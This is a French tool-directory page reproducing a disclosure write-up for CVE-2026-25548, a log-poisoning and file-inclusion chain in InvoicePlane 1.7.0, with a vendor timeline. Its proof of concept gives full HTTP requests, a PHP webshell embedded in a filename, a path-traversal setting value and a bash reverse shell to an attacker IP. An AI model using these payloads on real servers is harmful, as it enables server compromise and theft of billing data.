Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/lagathos/cve-2026-25548
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationRed Teaming
GitHublagathos/cve-2026-25548

CVE-2026-25548

# Analyse technique détaillée et preuve de concept pour CVE-2026-25548, une RCE critique dans InvoicePlane 1.7.0 via LFI et empoisonnement de journaux, incluant la chaîne d'attaque, les requêtes PoC et l'analyse d'impact.

Voir le dépôt
1il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-25548 — Exécution de code à distance dans InvoicePlane 1.7.0

Vulnérabilité : Exécution de code à distance via inclusion locale de fichier + empoisonnement des journaux

Produit : InvoicePlane

Version affectée : 1.7.0 (et probablement les versions antérieures)

Gravité : Critique

Score CVSS 3.1 : 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)

CWE : CWE-98, CWE-117, CWE-94

Découvert par : Leonidas Agathos

Date de signalement : 2026-01-31


Table des matières

  • Description
  • Détails de la vulnérabilité
    • 1. Inclusion locale de fichier (LFI)
    • 2. Empoisonnement des journaux via le nom de fichier téléversé
  • Chaîne d'attaque
  • Preuve de concept
    • Étape 1 — Empoisonnement des journaux
    • Étape 2 — Configuration du LFI
    • Étape 3 — Déclenchement du RCE
  • Étape 4 — Shell inversé
  • Impact
  • Composants affectés
  • Chronologie

  • Description

    Une chaîne de vulnérabilités critique dans InvoicePlane 1.7.0 permet à un administrateur authentifié d'obtenir une exécution de code à distance (RCE) sur le serveur sous-jacent. L'attaque combine deux faiblesses :

    1. Inclusion locale de fichier (LFI) — Le paramètre de modèle de facture publique accepte des chemins de fichiers arbitraires sans validation, permettant l'inclusion de fichiers en dehors du répertoire de modèles prévu.
    2. Empoisonnement des journaux — Les noms de fichiers téléversés contenant des caractères de traversée de chemin sont écrits tels quels dans les fichiers journaux .php de CodeIgniter, permettant l'injection de code PHP arbitraire.

    Lorsqu'elles sont combinées, un attaquant disposant d'un accès administrateur peut compromettre entièrement le serveur en tant qu'utilisateur du serveur web. Le déclencheur final du RCE est non authentifié (URL de facture publique).


    Détails de la vulnérabilité

    1. Inclusion locale de fichier (LFI)

    AttributValeur
    Fichierapplication/modules/guest/controllers/View.php
    Lignes85, 191
    Paramètrepublic_invoice_template (paramètre de base de données)
    CWECWE-98 : Contrôle inapproprié du nom de fichier pour l'instruction Include/Require

    Code vulnérable (View.php:85) :

    root@kitploit:~
    $this->load->view('invoice_templates/public/' .
        get_setting('public_invoice_template') . '.php', $data);
    

    Code vulnérable (View.php:191) :

    root@kitploit:~
    $this->load->view('quote_templates/public/' .
        get_setting('public_quote_template') . '.php', $data);
    

    Les paramètres public_invoice_template et public_quote_template sont récupérés depuis la base de données et concaténés directement dans un chemin de fichier passé à load->view() de CodeIgniter (qui se résout en include() de PHP). Il n'y a aucune validation pour :

    • Empêcher les séquences de traversée de répertoire (../)
    • Mettre sur liste blanche les noms de modèles autorisés
    • Confirmer que le fichier existe dans le répertoire de modèles attendu

    Un administrateur peut définir cette valeur sur n'importe quel chemin du système de fichiers, limité uniquement par l'extension .php ajoutée automatiquement.


    2. Empoisonnement des journaux via le nom de fichier téléversé

    AttributValeur
    Fichierapplication/modules/upload/controllers/Upload.php
    Lignes178–184
    ParamètreNom de fichier téléversé (données de formulaire multipart HTTP)
    CWECWE-117 : Neutralisation de sortie inappropriée pour les journaux

    Code vulnérable (Upload.php:178-184) :

    root@kitploit:~
    private function sanitize_file_name(string $filename): string
    {
        if (str_contains($filename, '..')
            || str_contains($filename, '/')
            || str_contains($filename, '\\')
            || str_contains($filename, "\0")) {
            log_message('error', 'Path traversal attempt detected in filename: ' . $filename);
            return '';
        }
        // ...
    }
    

    Lorsqu'un nom de fichier déclenche la vérification de traversée de chemin, le nom de fichier brut et non assaini est écrit directement dans le fichier journal. Les fichiers journaux de CodeIgniter :

    • Utilisent l'extension .php : application/logs/log-YYYY-MM-DD.php
    • Commencent par <?php defined('BASEPATH') OR exit('No direct script access allowed'); ?>
    • Sont donc des fichiers PHP valides qui s'exécutent lorsqu'ils sont inclus

    Un attaquant intégrant <?php system($_GET[1]); ?> dans le nom de fichier provoque l'écriture de cette charge utile dans le journal, puis son exécution ultérieure via le LFI.


    Chaîne d'attaque

    root@kitploit:~
    [Utilisateur authentifié]  →  Téléversement d'un nom de fichier malveillant  →  PHP injecté dans le fichier journal
    [Administrateur]           →  Définition du paramètre de modèle              →  Le LFI pointe vers le fichier journal
    [Tout le monde]            →  Visite de l'URL de facture publique            →  RCE
    
    ÉtapeExigence
    Empoisonnement des journauxUtilisateur authentifié avec accès au téléversement
    Configuration du LFICompte administrateur
    Déclenchement du RCENon authentifié (URL de facture publique)

    Preuve de concept

    Étape 1 — Empoisonnement des journaux

    Envoyez une requête de téléversement de fichier avec un webshell PHP intégré dans le nom de fichier. La vérification de traversée de chemin se déclenchera et écrira le nom de fichier brut (y compris la charge utile PHP) dans le fichier journal.

    Requête (via Burp Suite) :

    root@kitploit:~
    POST /index.php/upload/upload_file/3/13phvCzZiPyOXKYeJBk084jHL5NTGn9d HTTP/1.1
    Host: 172.25.0.12
    Cookie: ip_csrf_cookie=...; ip_session=...
    Content-Type: multipart/form-data; boundary=----Boundary
    
    ------Boundary
    Content-Disposition: form-data; name="_ip_csrf"
    
    <csrf_token>
    ------Boundary
    Content-Disposition: form-data; name="file"; filename="..<?php system($_GET[1]); ?>.jpg"
    Content-Type: image/jpeg
    
    test
    ------Boundary--
    

    Le serveur rejette le téléversement (upload_error_invalid_extension) mais l'entrée de journal est déjà écrite :

    Résultat dans application/logs/log-2026-01-31.php :

    root@kitploit:~
    ERROR - 2026-01-31 10:35:06 --> Path traversal attempt detected in filename: ..<?php system($_GET[1]); ?>.jpg
    

    Naviguez vers la section Pièces jointes d'une facture et cliquez sur Ajouter des fichiers pour atteindre le point de terminaison de téléversement.

    Étape 1a - Point d'entrée du téléversement de pièces jointes de facture

    Étape 1b - Injection de la charge utile PHP via un nom de fichier malveillant

    Étape 1c - Fichier journal montrant la charge utile PHP injectée


    Étape 2 — Configuration du LFI

    En tant qu'administrateur, définissez le paramètre public_invoice_template pour pointer vers le fichier journal du jour à l'aide d'une charge utile de traversée de chemin. Le chargeur de vues de CodeIgniter ajoute .php automatiquement.

    Requête (via Burp Suite) :

    root@kitploit:~
    POST /index.php/settings HTTP/1.1
    Host: 172.25.0.12
    Cookie: ip_csrf_cookie=...; ip_session=<admin_session>
    Content-Type: multipart/form-data; boundary=----Boundary
    
    ------Boundary
    Content-Disposition: form-data; name="settings[public_invoice_template]"
    
    ../../../logs/log-2026-01-31
    ------Boundary--
    

    Le chemin de traversée se résout depuis application/views/invoice_templates/public/ jusqu'à application/logs/, puis inclut log-2026-01-31.php.

    Étape 2 - Définition de public_invoice_template sur le chemin du fichier journal via Burp Suite


    Étape 3 — Déclenchement du RCE

    Accédez à n'importe quelle URL de facture publique avec une commande passée en paramètre GET 1. Aucune authentification n'est requise.

    Requête :

    root@kitploit:~
    GET /index.php/guest/view/invoice/<invoice_url_key>?1=id HTTP/1.1
    Host: 172.25.0.12
    

    Réponse (dans le code source de la page) :

    root@kitploit:~
    Path traversal attempt detected in filename: ..uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
    .jpg
    

    La charge utile system($_GET[1]) exécute la commande id et sa sortie est reflétée en ligne dans la page.

    Étape 3 - Sortie de commande reflétée dans la réponse HTTP via l'URL de facture publique


    Étape 4 — Shell inversé

    Remplacez la commande par une charge utile de shell inversé bash pour obtenir un shell interactif :

    root@kitploit:~
    GET /index.php/guest/view/invoice/<invoice_url_key>?1=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.25.131/4444+0>%261' HTTP/1.1
    

    Sur la machine de l'attaquant :

    root@kitploit:~
    nc -lnvp 4444
    

    Résultat :

    root@kitploit:~
    connect to [192.168.25.131] from (UNKNOWN) [172.25.0.11] 43360
    www-data@0dd592f7a424:~/projects/invoiceplane$
    

    Shell interactif complet en tant que www-data.

    Étape 4 - Shell inversé établi confirmant le RCE complet


    Impact

    DimensionÉvaluationDétail
    ConfidentialitéÉLEVÉEAccès en lecture complet à tous les fichiers accessibles par l'utilisateur du serveur web, y compris les identifiants de base de données et les données de facturation des clients
    IntégritéÉLEVÉEÉcriture de fichiers arbitraires, modification de la base de données, installation de webshell
    DisponibilitéÉLEVÉEDéni de service, déploiement de ransomware, destruction du système

    Composants affectés

    FichierVulnérabilité
    application/modules/guest/controllers/View.php:85LFI — Modèle de facture
    application/modules/guest/controllers/View.php:191LFI — Modèle de devis
    application/modules/upload/controllers/Upload.php:182Empoisonnement des journaux
    application/modules/settings/controllers/Settings.phpAucune validation du paramètre de modèle

    Chronologie

    DateÉvénement
    2026-01-30Vulnérabilité découverte
    2026-01-31Preuve de concept développée
    2026-01-31Fournisseur notifié
    2026-02-03Accusé de réception du fournisseur
    2026-02-03Correctif publié
    2026-02-04Divulgation publique

    Références

    • CWE-98 : Contrôle inapproprié du nom de fichier pour l'instruction Include/Require
    • CWE-117 : Neutralisation de sortie inappropriée pour les journaux
    • CWE-94 : Contrôle inapproprié de la génération de code
    • OWASP : Traversée de chemin
    • OWASP : Injection dans les journaux
    • CVE-2026-25548

    Avertissement

    Cette vulnérabilité a été découverte lors d'une recherche en sécurité indépendante. Toutes les informations sont fournies strictement à des fins éducatives, de recherche et de défense afin d'aider le fournisseur et la communauté de la sécurité à comprendre et à corriger le problème. Toute utilisation malveillante de ces informations est strictement interdite.

    Télécharger l’outil